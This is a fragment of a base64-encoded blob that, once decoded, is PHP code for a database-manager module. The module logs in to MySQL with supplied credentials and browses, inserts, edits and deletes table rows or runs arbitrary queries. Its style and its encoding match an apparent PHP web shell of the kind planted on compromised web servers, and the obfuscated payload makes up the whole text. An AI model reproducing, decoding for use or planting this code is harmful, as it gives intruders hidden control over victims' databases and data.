nZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9hY3QudmFsdWU9J2luc2VydCc7ZG9jdW1lbnQuc3FsLnRoaXN0YmwudmFsdWU9JzEnO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj5bJm5ic3A7PGI+SW5zZXJ0PC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAic3RydWN0dXJlIikge2VjaG8gIjxicj48YnI+PGI+Q29taW5nIHNvb29uITwvYj4iO30NCiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikNCiAgICAgew0KICAgICAgaWYgKCFpc19hcnJheSgkc3FsX3RibF9pbnNlcnQpKSB7JHNxbF90YmxfaW5zZXJ0ID0gYXJyYXkoKTt9DQogICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9yYWRpbykpDQogICAgICB7DQoNCiAgICAgIH0NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICBlY2hvICI8YnI+PGJyPjxiPkluc2VydGluZyByb3cgaW50byB0YWJsZTo8L2I+PGJyPiI7DQogICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpDQogICAgICAgew0KICAgICAgICAkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAiOw0KICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgV0hFUkUiLiRzcWxfdGJsX2luc2VydF9xOw0KICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgTElNSVQgMTsiOw0KICAgICAgICAkc3FsX3F1ZXJ5ID0gdXJsZGVjb2RlKCRzcWxfcXVlcnkpOw0KICAgICAgICAkc3FsX3RibF9pbnNlcnRfcSA9IHVybGRlY29kZSgkc3FsX3RibF9pbnNlcnRfcSk7DQogICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jaykgb3IgcHJpbnQoIjxicj48YnI+Ii5teXNxbF9zbWFydGVycm9yKCkpOw0KICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQogICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgIH0NCiAgICAgICBlbHNlIHskdmFsdWVzID0gYXJyYXkoKTt9DQogICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdzcWxfdGJsX2FjdCcgdmFsdWU9J2luc2VydCc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J3NxbF90YmxfaW5zZXJ0X3EnIHZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibF9pbnNlcnRfcSkuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J3NxbF90YmxfbHMnIHZhbHVlPSciLiRzcWxfdGJsX2xzLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdzcWxfdGJsX2xlJyB2YWx1ZT0nIi4kc3FsX3RibF9sZS4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkPjxiPkZpZWxkPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+RnVuY3Rpb248L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQoNCiAgICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkKQ0KICAgICAgIHsNCiAgICAgICAgJG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQogICAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHskdiA9ICIiO30NCiAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiI8L2I+PC90ZD48dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD48dGQ+PHNlbGVjdCBuYW1lPVwic3FsX3RibF9pbnNlcnRfZnVuY3RzWyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIj48b3B0aW9uIHZhbHVlPVwiXCI+PC9vcHRpb24+PG9wdGlvbj5QQVNTV09SRDwvb3B0aW9uPjxvcHRpb24+TUQ1PC9vcHRpb24+PG9wdGlvbj5FTkNSWVBUPC9vcHRpb24+PG9wdGlvbj5BU0NJSTwvb3B0aW9uPjxvcHRpb24+Q0hBUjwvb3B0aW9uPjxvcHRpb24+UkFORDwvb3B0aW9uPjxvcHRpb24+TEFTVF9JTlNFUlRfSUQ8L29wdGlvbj48b3B0aW9uPkNPVU5UPC9vcHRpb24+PG9wdGlvbj5BVkc8L29wdGlvbj48b3B0aW9uPlNVTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJcIj4tLS0tLS0tLTwvb3B0aW9uPjxvcHRpb24+U09VTkRFWDwvb3B0aW9uPjxvcHRpb24+TENBU0U8L29wdGlvbj48b3B0aW9uPlVDQVNFPC9vcHRpb24+PG9wdGlvbj5OT1c8L29wdGlvbj48b3B0aW9uPkNVUkRBVEU8L29wdGlvbj48b3B0aW9uPkNVUlRJTUU8L29wdGlvbj48b3B0aW9uPkZST01fREFZUzwvb3B0aW9uPjxvcHRpb24+RlJPTV9VTklYVElNRTwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0FERDwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0RJRkY8L29wdGlvbj48b3B0aW9uPlRPX0RBWVM8L29wdGlvbj48b3B0aW9uPlVOSVhfVElNRVNUQU1QPC9vcHRpb24+PG9wdGlvbj5VU0VSPC9vcHRpb24+PG9wdGlvbj5XRUVLREFZPC9vcHRpb24+PG9wdGlvbj5DT05DQVQ8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9pbnNlcnRbIi5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbJG5hbWVdKS4iXCIgc2l6ZT01MD48L3RkPjwvdHI+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAgZWNobyAiPC90YWJsZT48YnI+IjsNCiAgICAgICBlY2hvICI8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIxXCIiOyBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjxiPkluc2VydCBhcyBuZXcgcm93PC9iPiI7DQogICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgb3IgPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMlwiIGNoZWNrZWQ+PGI+U2F2ZTwvYj4iOyBlY2hvICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9xXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmxfaW5zZXJ0X3EpLiJcIj4iO30NCiAgICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJDb25maXJtXCI+PC9mb3JtPiI7DQogICAgICB9DQogICAgIH0NCiAgICAgaWYgKCRzcWxfdGJsX2FjdCA9PSAiYnJvd3NlIikNCiAgICAgew0KICAgICAgJHNxbF90YmxfbHMgPSBhYnMoJHNxbF90YmxfbHMpOw0KICAgICAgJHNxbF90YmxfbGUgPSBhYnMoJHNxbF90YmxfbGUpOw0KICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgICAgJGIgPSAwOw0KICAgICAgZm9yKCRpPTA7JGk8JG51bXBhZ2VzOyRpKyspDQogICAgICB7DQogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwudGhpc3RibC52YWx1ZT0nMSc7ZG9jdW1lbnQuc3FsLnNxbF9vcmRlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsX2xzLnZhbHVlPSciLigkaSokcGVycGFnZSkuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfbGUudmFsdWU9JyIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+PHU+Ijt9DQogICAgICAgZWNobyAkaTsNCiAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30NCiAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIiZuYnNwOyI7fQ0KICAgICAgfQ0KICAgICAgaWYgKCRpID09IDApIHtlY2hvICJlbXB0eSI7fQ0KICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOw0KICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMSVcIiBiZ0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPiI7DQogICAgICBlY2hvICI8dHI+IjsNCiAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7DQogICAgICBmb3IgKCRpPTA7JGk8bXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTskaSsrKQ0KICAgICAgew0KICAgICAgICR2ID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsNCiAgICAgICBpZiAoJGVbMF0gPT0gImEiKSB7JHMgPSAiZCI7ICRtID0gImFzYyI7fQ0KICAgICAgIGVsc2UgeyRzID0gImEiOyAkbSA9ICJkZXNjIjt9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgaWYgKGVtcHR5KCRlWzBdKSkgeyRlWzBdID0gImEiO30NCiAgICAgICBpZiAoJGVbMV0gIT0gJHYpIHskc3FsX29yZGVyPSIiOyRzcWxfb3JkZXI9JGVbMF0uIiAiLiR2O2VjaG8gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwuc3FsX29yZGVyLnZhbHVlPSciLiRzcWxfb3JkZXIuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfbHMudmFsdWU9JyIuJHNxbF90YmxfbHMuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfbGUudmFsdWU9JyIuJHNxbF90YmxfbGUuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPjxiPiIuJHYuIjwvYj48L2E+Ijt9DQogICAgICAgZWxzZSB7ZWNobyAiPGI+Ii4kdi4iPC9iPiA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9vcmRlci52YWx1ZT0nIi4kcy4iJTIwIi4kdi4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9scy52YWx1ZT0nIi4kc3FsX3RibF9scy4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9sZS52YWx1ZT0nIi4kc3FsX3RibF9sZS4iJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+PGZvbnQgY29sb3I9cmVkPlwvPC9mb250PjwvYT4iO30NCiAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICB9DQogICAgICBlY2hvICI8dGQ+PGZvbnQgY29sb3I9XCJncmVlblwiPjxiPkFjdGlvbjwvYj48L2ZvbnQ+PC90ZD4iOw0KICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpDQogICAgICB7DQogICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgJHcgPSAiIjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7ICR3IC49ICIgYCIuJG5hbWUuImAgPSAnIi5hZGRzbGFzaGVzKCR2KS4iJyBBTkQiOyAkaSsrO30NCiAgICAgICBpZiAoY291bnQoJHJvdykgPiAwKSB7JHcgPSBzdWJzdHIoJHcsMCxzdHJsZW4oJHcpLTMpO30NCiAgICAgICBlY2hvICI8dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dbXVwiIHZhbHVlPVwiIi4kdy4iXCI+PC90ZD4iOw0KICAgICAgICRpID0gMDsNCiAgICAgICBmb3JlYWNoICgkcm93IGFzICRrPT4kdikNCiAgICAgICB7DQogICAgICAgICR2ID0gaHRtbHNwZWNpYWxjaGFycygkdik7DQogICAgICAgIGlmICgkdiA9PSAiIikgeyR2ID0gIjxmb250IGNvbG9yPVwiZ3JlZW5cIj5OVUxMPC9mb250PiI7fQ0KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOw0KICAgICAgICAkaSsrOw0KICAgICAgIH0NCiAgICAgICBlY2hvICI8dGQ+IjsNCiAgICAgICBlY2hvICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfYWN0LnZhbHVlPSdxdWVyeSc7ZG9jdW1lbnQuc3FsLnNxbF9xdWVyeS52YWx1ZT0nIi51cmxlbmNvZGUoIkRFTEVURSBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdy4iIExJTUlUIDE7IikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9scy52YWx1ZT0nIi4kc3FsX3RibF9scy4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9sZS52YWx1ZT0nIi4kc3FsX3RibF9sZS4iJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+PGI+REVMPC9iPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfYWN0LnZhbHVlPSdpbnNlcnQnO2RvY3VtZW50LnNxbC5zcWxfdGJsX2luc2VydF9xLnZhbHVlPSciLnVybGVuY29kZSgkdykuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9scy52YWx1ZT0nIi4kc3FsX3RibF9scy4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9sZS52YWx1ZT0nIi4kc3FsX3RibF9sZS4iJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+PGI+RURJVDwvYj48L2E+Jm5ic3A7IjsNCiAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgfQ0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJsZWZ0XCI+PHNlbGVjdCBuYW1lPVwic3FsX2FjdFwiPiI7DQogICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZXJvd1wiPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT48L3A+IjsNCiAgICAgfQ0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEUgU1RBVFVTIiwgJHNxbF9zb2NrKTsNCiAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IG5hbWU9J2FjdCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nc3FsJz48aW5wdXQgbmFtZT0nc3FsX2xvZ2luJyB0eXBlPSdoaWRkZW4nIHZhbHVlPSciLiRzcWxfbG9naW4uIic+PGlucHV0IG5hbWU9J3NxbF9zZXJ2ZXInIHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuJHNxbF9zZXJ2ZXIuIic+PGlucHV0IG5hbWU9J3NxbF9wb3J0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPSciLiRzcWxfcG9ydC4iJz48aW5wdXQgbmFtZT0nc3FsX2RiJyB0eXBlPSdoaWRkZW4nIHZhbHVlPSciLiRzcWxfZGIuIic+PGlucHV0IG5hbWU9J3NxbF9wYXNzd2QnIHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuJHNxbF9wYXNzd2QuIic+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3h0YmxfYWxsXCIgdmFsdWU9XCIxXCI+PC90ZD48dGQ+PGNlbnRlcj48Yj5UYWJsZTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Yj5Sb3dzPC9iPjwvdGQ+PHRkPjxiPlR5cGU8L2I+PC90ZD48dGQ+PGI+Q3JlYXRlZDwvYj48L3RkPjx0ZD48Yj5Nb2RpZmllZDwvYj48L3RkPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgICRpID0gMDsNCiAgICAgICR0c2l6ZSA9ICR0cm93cyA9IDA7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkNCiAgICAgIHsNCiAgICAgICAkdHNpemUgKz0gJHJvd1siRGF0YV9sZW5ndGgiXTsNCiAgICAgICAkdHJvd3MgKz0gJHJvd1siUm93cyJdOw0KICAgICAgICRzaXplID0gdmlld19zaXplKCRyb3dbIkRhdGFfbGVuZ3RoIl0pOw0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibFtdXCIgdmFsdWU9XCIiLiRyb3dbIk5hbWUiXS4iXCI+PC90ZD4iOw0KDQogICAgICAgZWNobyAiPHRkPiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dp